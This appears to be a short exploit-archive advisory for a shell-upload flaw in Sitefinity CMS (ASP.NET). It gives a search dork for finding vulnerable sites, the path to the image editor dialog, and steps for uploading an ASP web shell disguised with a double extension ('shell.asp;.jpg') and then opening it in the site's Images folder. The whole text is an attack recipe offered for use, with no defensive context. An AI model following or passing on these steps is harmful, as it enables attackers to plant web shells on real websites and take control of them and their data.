Sitefinity CMS (ASP.NET) Shell Upload

,------.                    ,--.        ,-----.         ,--.
|  .-.  \  ,---.  ,--,--. ,-|  | ,---. '  .-.  ',--.,--.|  |
|  |  \  :| .-. :' ,-.  |' .-. |(  .-' |  | |  ||  ||  ||  |
|  '--'  /\   --.\ '-'  |\ `-' |.-'  `)'  '-'  ''  ''  '|  |
`-------'  `----' `--`--' `---' `----'  `-----'  `----' `--'
                  dead_s0ul@outlook.com
=============================================================
Sitefinity CMS (ASP.NET) Shell Upload Vulnerability
=============================================================
dork : "Sitefinity: Login"
Copyright   2006-2010 Telerik. All rights reserved

exploit # /UserControls/Dialogs/ImageEditorDialog.aspx

first go to # http://site.com/sitefinity/

then # http://site.com/sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx

select # asp renamed via the .asp;.jpg (shell.asp;.jpg)

Upload to # http://site.com/Images/[shell]